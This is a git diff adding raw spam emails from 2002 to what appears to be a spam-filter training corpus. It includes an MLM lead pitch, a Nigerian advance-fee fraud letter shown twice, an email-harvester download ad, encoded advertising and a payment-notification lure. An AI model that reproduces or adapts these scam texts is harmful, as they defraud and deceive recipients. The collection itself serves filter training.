Wed, 24 Jul 2002 19:35:56 -0400 +Received: from locust.minder.net (locust.minder.net [66.92.53.74]) + by waste.minder.net (8.11.6/8.11.6) with ESMTP id g6ONZoR02258; + Wed, 24 Jul 2002 19:35:50 -0400 +Received: from amuro.net ([211.248.213.129]) + by locust.minder.net (8.11.6/8.11.6) with SMTP id g6ONZiJ55107; + Wed, 24 Jul 2002 19:35:45 -0400 (EDT) + (envelope-from mlm3leads4u@amuro.net) +Received: from 210.227.9.8 ([210.227.9.8]) by rly-xw01.otpalo.com with smtp; Thu, 25 Jul 2002 03:35:38 -0900 +Received: from 132.182.181.92 ([132.182.181.92]) by web.mail.halfeye.com with esmtp; 24 Jul 2002 18:30:08 +0300 +Received: from rly-xr02.nikavo.net ([12.222.73.123]) + by smtp-server1.cflrr.com with NNFMP; 24 Jul 2002 21:24:38 +0700 +Received: from unknown (HELO rly-xr01.nihuyatut.net) (203.44.105.62) + by mta21.bigpong.com with NNFMP; 25 Jul 2002 04:19:08 -0500 +Reply-To: "MLM Insider Forum" +Message-ID: <037e37e61d3b$4867d8b1$0dd57ed0@yicvcn> +From: "MLM Insider Forum" +To: +Cc: , , +Subject: Cost-Effective MLM/Bizop Phone-Screened Leads +Date: Wed, 24 Jul 2002 11:05:59 +1200 +MiME-Version: 1.0 +Content-Type: text/html; charset="iso-8859-1" +X-Priority: 3 (Normal) +X-MSMail-Priority: Normal +X-Mailer: MIME-tools 5.503 (Entity 5.501) +Importance: Normal +Sender: owner-cypherpunks@minder.net +Precedence: bulk + + +Hello,

    +
    Premium Phone Qualified
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    +- The prospects that come from either of the above sources are then
    +PHONE INTERVIEWED BY US, here in our offices and the following
    +info. is asked (after confirming their desire to find an opportunity):

    +Name:
    +Email:
    +Phone:
    +Best time to call:
    +State:
    +Reason they want to work from home!:
    +How much they want to make per month:
    +How much time they can commit per week:
    +How much money they have available for startup:
    +If they see an opportunity, how soon they would get started:

    +We'll close by telling them they'll be contacted by no
    +more than 3 or 4 people regarding different opportunities.

    +    - Then the Leads are submitted to a website we set up for you,
    +from which the results are then forwarded to you by email.

    +- This way, you get the Leads fresh, and in *real-time*
    +(only minutes old).  Never more than 24 hours old.  Guaranteed!

    +- We GUARANTEE that you'll receive AT LEAST a valid Name,
    +Phone Number and the Time-Date Stamp corresponding to when
    +the Lead was generated!  However, almost ALL leads will have
    +ALL of the information asked above.

    +
    +Benefits of our Phone Qualified Lead Generation System:

    +    1. They will be Extremely Qualified due to the nature of the
    +qualifying questions that will be asked (above).

    +2. They are Super-Fresh!  Delivered in Real-Time only moments
    +    after they are contacted and qualified!  (Not 30-120 days old)

    +3. They're Targeted.  Each Lead we generate originates from a
    +targeted list of business opportunity seekers.

    +4. They're Highly Receptive!  Receptivity is very, very high
    +because they aren't bombarded by tons of people pitching
    +them on opportunities!      Also they'll remember speaking to
    +someone over the phone.  Especially since we tell them to
    +expect your call!

    +    5. No "feast or famine" activity.  Leads will be coming in
    +regularly.  You dictate the flow!

    +6. No more cold calls!  We tell your prospects you'll be calling.

    +7. You can *personalize* your approach with the info. you
    +get with each Lead!

    +8. Save Time.  Naturally, better Leads means less calls to get a sale.

    +9. Lower "burnout" factor.  Calling red-hot Leads makes it easier
    +to pick up the phone, day in and day out.

    +10. You can sort your Leads based on their responses and call the
    +hottest ones first.

    +11. You can get new reps started quicker using these Leads due
    +to higher closing ratios.  Of course, this builds faster and stronger
    +momentum, and skyrockets "new rep retention" as a result of
    +"quick successes".

    +12. The Leads will be uniform - almost all leads will have the info.
    +indicated above. (All leads will have valid phone numbers.)

    +13. They're double-qualified because to generate the Lead,
    +a list of previous business opportunity seekers is used.

    +14. Excellent control of the flow of Leads coming through.

    +If you've been trying to run things too long without a steady flow of high
    +quality leads, call us NOW to get things in motion.  Just let us know
    +what program you want to advertise and we'll create a customized
    +lead-generation campaign for you.

    +Since your need to get business moving has probably never been
    +more critical than it is today, why not call us NOW!

    +    These are fresh, highly qualified leads because these people aren't
    +just responding to some "Generic Business Opportunity" ad, they're
    +contacted over the phone specifically for YOUR company!  And we
    +forward you the leads within minutes of the lead being generated - not
    +days, weeks, or months!

    +
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    Start Generating As Many SIGN-UPS as You Can Handle!
    +Explode Your Downline and Income!

    +    Call For Details and Discount Pricing!
    +Toll Free 1-866-853-8319 ext.1

    +    Or email us here for full details

    +

    +
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    3D"InfoByTel:

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    Discover=20 + InfoByTel!

    +

    Imagine having a=20 + Representative available to describe your Product or Service = +precisely=20 + as you want, 24/7 and Never Missing a Call from a prospective = +customer=20 + again!

    InfoByTel will provide your prospects with a = +recorded=20 + description of your product, service, property or business and = +offer an=20 + opportunity to reach you by telephone immediately, send you a = +fax, or=20 + leave a message requesting a response by telephone, fax or=20 + email.

    At the same time your prospects utilize the = +interactive=20 + features of InfoByTel; the system will create an instant online = +report=20 + of their telephone number and time & date of their call for = +you.=20 +

    +

    Listen to = +an=20 + Example
    of InfoByTel @ Work!
    Call: (949) = +218-6150 

    +

    Email InfoByTel=20 + Now 

    +

    InfoByTel=20 + Distributor
    Business Opportunity Hotline!
    Call: (949)=20 + 218-6180

    +

    By calling this = +one number=20 + you may elect to be connected to a representative. If a = +representative=20 + is not immediately available you will have an opportunity to = +request a=20 + response by telephone, fax or email. = +

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b/bayes/spamham/spam_2/00976.82ecfa404e2e597e113dc0278c5861c2 @@ -0,0 +1,62 @@ +From 011696aaa002@mail.com Tue Jul 23 14:00:50 2002 +Return-Path: <011696aaa002@mail.com> +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 73E4A440CC + for ; Tue, 23 Jul 2002 09:00:48 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 23 Jul 2002 14:00:48 +0100 (IST) +Received: from mandark.labs.netnoteinc.com ([213.105.180.140]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6ND17422210 for + ; Tue, 23 Jul 2002 14:01:09 +0100 +Received: from ftcweb.netftc.local ([200.215.33.169]) by + mandark.labs.netnoteinc.com (8.11.6/8.11.6) with ESMTP id g6ND00p14076 for + ; Tue, 23 Jul 2002 14:00:08 +0100 +Received: from mx07.hotmail.com ([202.74.39.89]) by ftcweb.netftc.local + with Microsoft SMTPSVC(5.0.2195.4453); Tue, 23 Jul 2002 10:03:34 -0300 +Message-Id: <00002c9324a4$0000458a$00000cd4@mail-com.mr.outblaze.com> +To: +From: 011696aaa002@mail.com +Subject: Ultimate HGH: Make you look and feel 20 YEARS YOUNGER!15373 +Date: Tue, 23 Jul 2002 20:00:36 -0500 +MIME-Version: 1.0 +Content-Type: text/plain; charset="Windows-1252" +Content-Transfer-Encoding: 7bit +Reply-To: 011696aaa002@mail.com +1: X-Mailer: Microsoft Outlook Express 5.50.4522.1200 +2: X-Mailer: The Bat! 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Tue, 23 Jul 2002 22:10:46 -0500 (CDT) + (envelope-from cpunks@hq.pro-ns.net) +Received: (from cpunks@localhost) + by hq.pro-ns.net (8.12.5/8.12.5/Submit) id g6O3Aj7N023811 + for cypherpunks-forward@ds.pro-ns.net; Tue, 23 Jul 2002 22:10:45 -0500 (CDT) +Received: from slack.lne.com (dns.lne.com [209.157.136.81] (may be forged)) + by hq.pro-ns.net (8.12.5/8.12.5) with ESMTP id g6O3AZhX023710 + for ; Tue, 23 Jul 2002 22:10:36 -0500 (CDT) + (envelope-from cpunk@lne.com) +X-Authentication-Warning: hq.pro-ns.net: Host dns.lne.com [209.157.136.81] (may be forged) claimed to be slack.lne.com +Received: (from cpunk@localhost) + by slack.lne.com (8.11.0/8.11.0) id g6O3AYv18362 + for cypherpunks@ds.pro-ns.net; Tue, 23 Jul 2002 20:10:34 -0700 +Received: from ok6127.com ([217.78.76.157]) + by slack.lne.com (8.11.0/8.11.0) with SMTP id g6O39jg18353 + for ; Tue, 23 Jul 2002 20:09:59 -0700 +Message-Id: <200207240309.g6O39jg18353@slack.lne.com> +From: "MR MABO LOKO" +Reply-To: jyyyyl19582000@rediff.com +To: cpunk@lne.com +Date: Wed, 24 Jul 2002 03:44:37 +0200 +Subject: Profitable Business Relationship +X-Mailer: Microsoft Outlook Express 5.00.2919.6900 DM +MIME-Version: 1.0 +Content-Type: text/plain; charset="us-ascii" +Content-Transfer-Encoding: 8bit +X-MIME-Autoconverted: from quoted-printable to 8bit by slack.lne.com id g6O39jg18353 +X-spam: 90 + +MR MABO LOKO +BRANCH OFFICER, +UNITED BANK FOR AFRICA PLC +ILUPEJU LAGOS NIGERIA + + +ATT:PRESIDENT/C.E.O + +SIR + + AN URGENT BUSINESS PROPOSAL +I am pleased to get across to you for a very urgent and profitable +business proposal,Though I don't know you neither have I seen you before but my confidence was reposed On you when the Chief Executive of Lagos State +chamber of Commerce and Industry handed me your contact for a +confidential business. + +I am AN OFFICER with the United Bank for Africa Plc (UBA),Ilupeju branch, +Lagos Nigeria. + +The intended business is thus; We had a customer, a Foreigner (a +Turkish)resident in Nigeria, he was a Contractor with one of the Government Parastatals. He has in his Account in my branch the sum of US$35 Million(Thirty five Million U.S. Dollars). + +Unfortunately, the man died four years ago until today non-of his next +of kin has come Forward to claim the money. +Having noticed this, I in collaboration with two other top Officials +of the bank we have covered up the account all this while. + Now we want you (being a foreigner) to be fronted as one of his next +of kin and forward Your account and other relevant documents to be +advised to you by us to attest to the Claim. + +We will use our positions to get all internal documentations to back +up the claims .The whole procedures will last only ten working days to +get the fund retrieved successfully Without trace even in future. + +Your response is only what we are waiting for as we have arranged all +necessary things As soon as this message comes to you kindly get back to me indicating your interest ,Then I will furnish you with the whole procedures to ensure that the deal is successfully Concluded + +For your assistance we have agreed to give you thirty percent (30%) of +the Total sum at the end of the transaction. It is risk free and a mega +fortune. +All correspondence Towards this transaction will be through the e-mail +addresses. + +I await your earliest response. +Thanks, + +Yours Sincerel + +MR MABO LOKO + + +--DeathToSpamDeathToSpamDeathToSpam-- + + +------------------------------------------------------- +This sf.net email is sponsored by:ThinkGeek +Welcome to geek heaven. +http://thinkgeek.com/sf +_______________________________________________ +Spamassassin-Sightings mailing list +Spamassassin-Sightings@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/spamassassin-sightings + + diff --git a/bayes/spamham/spam_2/00979.1ddb1d789492c2b6d6a5f1257d927088 b/bayes/spamham/spam_2/00979.1ddb1d789492c2b6d6a5f1257d927088 new file mode 100644 index 0000000..3d9e411 --- /dev/null +++ b/bayes/spamham/spam_2/00979.1ddb1d789492c2b6d6a5f1257d927088 @@ -0,0 +1,100 @@ +Received: from hq.pro-ns.net (localhost [127.0.0.1]) + by hq.pro-ns.net (8.12.5/8.12.5) with ESMTP id g6O3BFhY024019 + (version=TLSv1/SSLv3 cipher=EDH-DSS-DES-CBC3-SHA bits=168 verify=NO) + for ; Tue, 23 Jul 2002 22:11:15 -0500 (CDT) + (envelope-from cpunks@hq.pro-ns.net) +Received: (from cpunks@localhost) + by hq.pro-ns.net (8.12.5/8.12.5/Submit) id g6O3BELL024016 + for cypherpunks-forward@ds.pro-ns.net; Tue, 23 Jul 2002 22:11:14 -0500 (CDT) +Received: from einstein.ssz.com (cpunks@[207.200.56.4]) + by hq.pro-ns.net (8.12.5/8.12.5) with ESMTP id g6O3BChX024010 + for ; Tue, 23 Jul 2002 22:11:13 -0500 (CDT) + (envelope-from cpunks@einstein.ssz.com) +X-Authentication-Warning: hq.pro-ns.net: Host cpunks@[207.200.56.4] claimed to be einstein.ssz.com +Received: (from cpunks@localhost) + by einstein.ssz.com (8.8.8/8.8.8) id WAA28699 + for cypherpunks@ds.pro-ns.net; Tue, 23 Jul 2002 22:19:53 -0500 +Received: (from mdom@localhost) + by einstein.ssz.com (8.8.8/8.8.8) id WAA28691 + for cypherpunks-outgoing; Tue, 23 Jul 2002 22:19:51 -0500 +Received: (from cpunks_anon@localhost) + by einstein.ssz.com (8.8.8/8.8.8) id WAA28680 + for cypherpunks@ssz.com; Tue, 23 Jul 2002 22:19:49 -0500 +From: CDR Anonymizer +Message-Id: <200207240319.WAA28680@einstein.ssz.com> +Date: Wed, 24 Jul 2002 03:45:24 +0200 +Subject: Profitable Business Relationship +To: cpunks_anon@einstein.ssz.com +Sender: owner-cypherpunks@einstein.ssz.com +Precedence: bulk +Reply-To: cypherpunks@einstein.ssz.com +X-Mailing-List: cypherpunks@ssz.com +X-Unsubscription-Info: http://einstein.ssz.com/cdr +X-List-Admin: list@ssz.com +X-Loop: ssz.com +X-Acceptable-Languages: English, Russian, German, French, Spanish + +MR MABO LOKO +BRANCH OFFICER, +UNITED BANK FOR AFRICA PLC +ILUPEJU LAGOS NIGERIA + + +ATT:PRESIDENT/C.E.O + +SIR + + AN URGENT BUSINESS PROPOSAL +I am pleased to get across to you for a very urgent and profitable +business proposal,Though I don't know you neither have I seen you before but my confidence was reposed On you when the Chief Executive of Lagos State +chamber of Commerce and Industry handed me your contact for a +confidential business. + +I am AN OFFICER with the United Bank for Africa Plc (UBA),Ilupeju branch, +Lagos Nigeria. + +The intended business is thus; We had a customer, a Foreigner (a +Turkish)resident in Nigeria, he was a Contractor with one of the Government Parastatals. He has in his Account in my branch the sum of US$35 Million(Thirty five Million U.S. Dollars). + +Unfortunately, the man died four years ago until today non-of his next +of kin has come Forward to claim the money. +Having noticed this, I in collaboration with two other top Officials +of the bank we have covered up the account all this while. + Now we want you (being a foreigner) to be fronted as one of his next +of kin and forward Your account and other relevant documents to be +advised to you by us to attest to the Claim. + +We will use our positions to get all internal documentations to back +up the claims .The whole procedures will last only ten working days to +get the fund retrieved successfully Without trace even in future. + +Your response is only what we are waiting for as we have arranged all +necessary things As soon as this message comes to you kindly get back to me indicating your interest ,Then I will furnish you with the whole procedures to ensure that the deal is successfully Concluded + +For your assistance we have agreed to give you thirty percent (30%) of +the Total sum at the end of the transaction. It is risk free and a mega +fortune. +All correspondence Towards this transaction will be through the e-mail +addresses. + +I await your earliest response. +Thanks, + +Yours Sincerel + +MR MABO LOKO + + +--DeathToSpamDeathToSpamDeathToSpam-- + + +------------------------------------------------------- +This sf.net email is sponsored by:ThinkGeek +Welcome to geek heaven. +http://thinkgeek.com/sf +_______________________________________________ +Spamassassin-Sightings mailing list +Spamassassin-Sightings@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/spamassassin-sightings + + diff --git a/bayes/spamham/spam_2/00980.39382e3a94065f3f8c709e874d8f3827 b/bayes/spamham/spam_2/00980.39382e3a94065f3f8c709e874d8f3827 new file mode 100644 index 0000000..5d3ab1d --- /dev/null +++ b/bayes/spamham/spam_2/00980.39382e3a94065f3f8c709e874d8f3827 @@ -0,0 +1,134 @@ +From fork-admin@xent.com Wed Jul 24 03:17:29 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 46A25440CC + for ; Tue, 23 Jul 2002 22:17:25 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 24 Jul 2002 03:17:25 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g6O2De414144 for ; + Wed, 24 Jul 2002 03:13:43 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id E8D1229410C; Tue, 23 Jul 2002 18:59:05 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from localhost.com (unknown [218.0.77.169]) by xent.com + (Postfix) with SMTP id 8560F2940F6 for ; Tue, + 23 Jul 2002 18:58:52 -0700 (PDT) +From: emailharvest@email.com +Reply-To: emailharvest@email.com +To: fork@spamassassin.taint.org +Subject: Harvest lots of E-mail addresses quickly ! +X-Mailer: QuickSender 1.05 +MIME-Version: 1.0 +Message-Id: <20020724015852.8560F2940F6@xent.com> +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Wed, 24 Jul 2002 10:07:51 +0800 +Content-Type: text/html; charset="us-ascii" +Content-Transfer-Encoding: quoted-printable + +Dear fork =2C + +=3CBODY bgColor=3D#ffccff=3E +=3CTABLE border=3D0 cellPadding=3D0 cellSpacing=3D0 width=3D475=3E + =3CTBODY=3E + =3CTR=3E + =3CTD align=3Dmiddle vAlign=3Dtop=3E=3C=2FTD=3E=3C=2FTR=3E=3C=2FTBODY=3E=3C=2FTABLE=3E=3CBR=3E +=3CTABLE=3E + =3CTBODY=3E + =3CTR=3E + =3CTD width=3D=225%=22=3E=3C=2FTD=3E + =3CTD bgColor=3D#b8ecff borderColor=3D#0000ff width=3D=2290%=22=3E=3CFONT color=3D#ff0000 + face=3D=22Arial Black=22 + size=3D6=3E =3B =3B =3B =3B =3B =3B =3B =3B =3B =3B Want + To Harvest A Lot Of Email =3B =3B Addresses In A Very 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+ =3CP=3E=3CB=3E=3CFONT color=3D#ff0000 face=3DArial size=3D4=3E=3CA + href=3D=22http=3A=2F=2Fbestsoft=2E3322=2Eorg=2Fonlinedown=2Fnewees=2Ezip=22=3EDownload Site + 2=3C=2FA=3E =3B =3B =3B =3B =3B =3B =3B =3B =3B =3B =3B =3C=2FFONT=3E=3C=2FB=3E=A1=A1=3CFONT color=3D#0000a0 face=3DArial + size=3D3=3E=3CSTRONG=3EIf =3B you can not download this program =2C =3B please + copy the following link into your URL =2C and then click =22 Enter=22 on your + Computer Keyboard=2E=3C=2FSTRONG=3E=3C=2FFONT=3E=3C=2FP=3E + =3CP=3E=3CFONT size=3D2=3E=3CFONT color=3D#0000a0 face=3DArial size=3D3=3E=3CSTRONG=3EHere is the + download links=3A=3C=2FSTRONG=3E=3C=2FFONT=3E=3C=2FP=3E + =3CDIV=3E + =3CP=3Ehttp=3A=2F=2Fwww=2Ewldinfo=2Ecom=2Fdownload=2Femail=2Fnewees=2Ezip=3C=2FP=3E + =3CP=3Ehttp=3A=2F=2Fbestsoft=2E3322=2Eorg=2Fonlinedown=2Fnewees=2Ezip=3C=2FP=3E=3C=2FFONT=3E=3C=2FDIV=3E + =3CP=3E=3C=2FP=3E=3C=2FTD=3E + =3CTD width=3D=225%=22=3E=3C=2FTD=3E=3C=2FTR=3E + =3CTR=3E + =3CTD width=3D=225%=22=3E=3C=2FTD=3E + =3CTD bgColor=3D#0f95de width=3D=2290%=22=3E=3CFONT color=3D#ffffff + face=3D=22Verdana=2C Tahoma=2C Helvetica=2C SansSerif=22 + size=3D1=3E=3CB=3EDisclaimer=3A=3C=2FB=3E=3CBR=3EWe are strongly against continuously sending + unsolicited emails to those who do not wish to receive our special + mailings=2E We have attained the services of an independent 3rd party to + overlook list management and removal services=2E This is not unsolicited + email=2E If you do not wish to receive further mailings=2C please click this + link =3CA href=3D=22 mailto=3Aremoval=40btamail=2Enet=2Ecn =22 + target=3D=5Fblank=3E=3CFONT + color=3D#fdd32a=3E=3CB=3Emailto=3Aremoval=40btamail=2Enet=2Ecn + =3C=2FB=3E=3C=2FFONT=3E=3C=2FA=3E=2E =3B=3C=2FFONT=3E=3CB=3E=3CFONT class=3Ddisclaimer color=3D#000080 + face=3DArial=3E=3CBR=3EThis message is a commercial advertisement=2E It is compliant + with all federal and state laws regarding email messages including the + California Business and Professions Code=2E We have provided the subject + line =22ADV=22 to provide you notification that this is a commercial + advertisement for persons over 18yrs old=2E=3C=2FFONT=3E=3C=2FB=3E=3C=2FTD=3E + =3CTD width=3D=225%=22=3E=3C=2FTD=3E=3C=2FTR=3E=3C=2FTBODY=3E=3C=2FTABLE=3E +=3CBR=3E + + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/spam_2/00981.341055ba05d9538a59e3533422bfd212 b/bayes/spamham/spam_2/00981.341055ba05d9538a59e3533422bfd212 new file mode 100644 index 0000000..eac3e66 --- /dev/null +++ b/bayes/spamham/spam_2/00981.341055ba05d9538a59e3533422bfd212 @@ -0,0 +1,157 @@ +From fork-admin@xent.com Wed Jul 24 03:08:35 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id C5061440CC + for ; Tue, 23 Jul 2002 22:08:34 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 24 Jul 2002 03:08:34 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g6O267413688 for ; + Wed, 24 Jul 2002 03:06:09 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id C0B962940ED; Tue, 23 Jul 2002 18:55:06 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from dns2.carpediemic.com.ar (unknown [200.69.218.90]) by + xent.com (Postfix) with ESMTP id 7E4DB2940E9 for ; + Tue, 23 Jul 2002 18:54:02 -0700 (PDT) +Received: from smtp0421.mail.yahoo.com + (adsl-64-217-12-1.dsl.okcyok.swbell.net [64.217.12.1]) by + dns2.carpediemic.com.ar (8.11.6/linuxconf) with SMTP id g6O1pmh09481; + Tue, 23 Jul 2002 22:51:53 -0300 +Message-Id: <200207240151.g6O1pmh09481@dns2.carpediemic.com.ar> +Reply-To: KevinMitchellson@yahoo.com +From: KevinMitchellson381912@yahoo.com +To: fork@vpi.net +Cc: fork@winskus.com, fork@wizard.com, fork@wnol.net, fork@spamassassin.taint.org, + fork@yahoo.com +Subject: in under 1 minute - we can beat your current rate 38191297 +MIME-Version: 1.0 +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Tue, 23 Jul 2002 21:14:31 -0500 +Content-Type: text/html; charset="iso-8859-1" + + + + + + + + + +
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    + + + + + +38191297 +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/spam_2/00982.2bd2b529b2df97e4e6c47edc6a272115 b/bayes/spamham/spam_2/00982.2bd2b529b2df97e4e6c47edc6a272115 new file mode 100644 index 0000000..0580515 --- /dev/null +++ b/bayes/spamham/spam_2/00982.2bd2b529b2df97e4e6c47edc6a272115 @@ -0,0 +1,65 @@ +From QGo0@yahoo.com Wed Jul 24 03:17:36 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id D7B68440CD + for ; Tue, 23 Jul 2002 22:17:34 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 24 Jul 2002 03:17:34 +0100 (IST) +Received: from USER ([210.200.244.145]) by dogma.slashnull.org + (8.11.6/8.11.6) with SMTP id g6O2IY414328 for ; + Wed, 24 Jul 2002 03:18:35 +0100 +Date: Wed, 24 Jul 2002 03:18:35 +0100 +Received: from pchome by ksts.seed.net.tw with SMTP id D9i2IdchjbiZg5O; + Wed, 24 Jul 2002 10:24:17 +0800 +Message-Id: +From: lover3388@seed.net.tw +To: 0720002@dogma.slashnull.org +Subject: =?big5?Q?=B3o=ACO=A7A=A4W=A6=B8=ADn=AA=BA=AAF=A6=E8!?= +MIME-Version: 1.0 +X-Mailer: MMQrAVyalWchd7xNWJgJ +X-Priority: 3 +X-Msmail-Priority: Normal +Content-Type: multipart/related; type="multipart/alternative"; boundary="----=_NextPart_5O8i9UYbYKxGWktq5bsk5OC8" + +This is a multi-part message in MIME format. + +------=_NextPart_5O8i9UYbYKxGWktq5bsk5OC8 +Content-Type: multipart/alternative; + boundary="----=_NextPart_5O8i9UYbYKxGWktq5bsk5OC8AA" + + +------=_NextPart_5O8i9UYbYKxGWktq5bsk5OC8AA +Content-Type: text/html; + charset="big5" +Content-Transfer-Encoding: base64 + +PGh0bWw+DQoNCjxoZWFkPg0KPG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1MYW5ndWFnZSIgY29u +dGVudD0iemgtdHciPg0KPG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1UeXBlIiBjb250ZW50PSJ0 +ZXh0L2h0bWw7IGNoYXJzZXQ9YmlnNSI+DQo8bWV0YSBuYW1lPSJHRU5FUkFUT1IiIGNvbnRlbnQ9 +Ik1pY3Jvc29mdCBGcm9udFBhZ2UgNC4wIj4NCjxtZXRhIG5hbWU9IlByb2dJZCIgY29udGVudD0i +RnJvbnRQYWdlLkVkaXRvci5Eb2N1bWVudCI+DQo8dGl0bGU+pnCm86ZirmGkpKdRpc669Lj0rd3C +vrPQt348L3RpdGxlPg0KPC9oZWFkPg0KDQo8Ym9keT4NCg0KPHA+PGI+PGZvbnQgc2l6ZT0iNCIg +Y29sb3I9IiMwMDgwMDAiPqZwpvOmYq5hpKSnUaXOuvS49K3dwr6z0Ld+Jm5ic3A7ICAgIA0KLKSj +qPypyqdPICwgpn7E1iAsIK7JtqEgLCCmYcJJICwgra2o7iAhITwvZm9udD48L2I+PC9wPiAgIA0K +PHA+PGZvbnQgc2l6ZT0iNCI+NC8yMjwvZm9udD48Zm9udCBzaXplPSI1Ij4mbmJzcDsmbmJzcDs8 +L2ZvbnQ+Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7ICAgIA0KPGZvbnQgY29sb3I9IiMw +MDAwRkYiPjxiPjxmb250IHNpemU9IjUiPlRWQlM8L2ZvbnQ+PC9iPiZuYnNwOyZuYnNwOyZuYnNw +OzwvZm9udD4mbmJzcDsgICAgDQqkziZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNw +OyA8Zm9udCBzaXplPSI1IiBjb2xvcj0iIzAwMDBGRiI+PGI+qka0y7dzu0QmbmJzcDs8L2I+PC9m +b250PiZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyAgICANCsFwpliz+L7JPC9wPg0KPHA+PGZvbnQg +Y29sb3I9IiNGRjAwMDAiPjxiPq74tk+0Tq/gs9C3fqq6r3WkSK91qMYgISE8L2I+PC9mb250Pjwv +cD4gICANCjxwPjxmb250IGNvbG9yPSIjRkYwMDAwIj48Yj6kUaTAxMGquq7JtqGlsql3r+CssKdB +qrqlzalStn2x0qV0pECusLWhPC9iPjwvZm9udD48L3A+DQo8cD669Kd9LS0tLS0tLTxhIGhyZWY9 +Imh0dHA6Ly90aWdob25nLmg4aC5jb20udHciPmh0dHA6Ly90aWdob25nLmg4aC5jb20udHc8L2E+ +PC9wPg0KPHA+pnCqR711pFekSLzGuUymaL3QtXmr4aT5qOg8L3A+DQo8cD6pzqq9sbXCSb/vpXi7 +eaqpPC9wPg0KPHA+r6ynQaaopVw8L3A+DQo8cD6hQDwvcD4NCg0KPC9ib2R5Pg0KDQo8L2h0bWw+ + + +------=_NextPart_5O8i9UYbYKxGWktq5bsk5OC8AA-- +------=_NextPart_5O8i9UYbYKxGWktq5bsk5OC8-- + + + + diff --git a/bayes/spamham/spam_2/00983.753f8ed9cf897cce13c3d5358f2d77d4 b/bayes/spamham/spam_2/00983.753f8ed9cf897cce13c3d5358f2d77d4 new file mode 100644 index 0000000..8e1b15d --- /dev/null +++ b/bayes/spamham/spam_2/00983.753f8ed9cf897cce13c3d5358f2d77d4 @@ -0,0 +1,212 @@ +Received: from hq.pro-ns.net (localhost [127.0.0.1]) + by hq.pro-ns.net (8.12.5/8.12.5) with ESMTP id g6O753hY015406 + (version=TLSv1/SSLv3 cipher=EDH-DSS-DES-CBC3-SHA bits=168 verify=NO) + for ; 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charset="DEFAULT" +Sender: owner-cypherpunks@einstein.ssz.com +Precedence: bulk +Reply-To: cypherpunks@einstein.ssz.com +X-Mailing-List: cypherpunks@ssz.com +X-Unsubscription-Info: http://einstein.ssz.com/cdr +X-List-Admin: list@ssz.com +X-Loop: ssz.com +X-Acceptable-Languages: English, Russian, German, French, Spanish +Subject: Notification for Payment Received! +Content-Transfer-Encoding: quoted-printable +X-MIME-Autoconverted: from 8bit to quoted-printable by hq.pro-ns.net id g6OFHwhX008908 + + + + + +
    +Notification for Payment Received! + + + =09 + =09 + =09 + =09 + =09 + =09 + =09 + =09 + =09 + =09 + =09 + =09 + =09 + =09 + =09 + =09 + =09 + =09 + =09 + =09 + + +
    + + +Notification for Payment Received !!!,

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    + + +
    + +--DeathToSpamDeathToSpamDeathToSpam-- + + +------------------------------------------------------- +This sf.net email is sponsored by:ThinkGeek +Welcome to geek heaven. +http://thinkgeek.com/sf +_______________________________________________ +Spamassassin-Sightings mailing list +Spamassassin-Sightings@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/spamassassin-sightings + + diff --git a/bayes/spamham/spam_2/00984.9521bd4c46b37f795efb665266cf5ab5 b/bayes/spamham/spam_2/00984.9521bd4c46b37f795efb665266cf5ab5 new file mode 100644 index 0000000..f8b1abd --- /dev/null +++ b/bayes/spamham/spam_2/00984.9521bd4c46b37f795efb665266cf5ab5 @@ -0,0 +1,184 @@ +From rates@digitalmortgage.cc Wed Jul 24 06:56:38 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id B71AE440CC + for ; 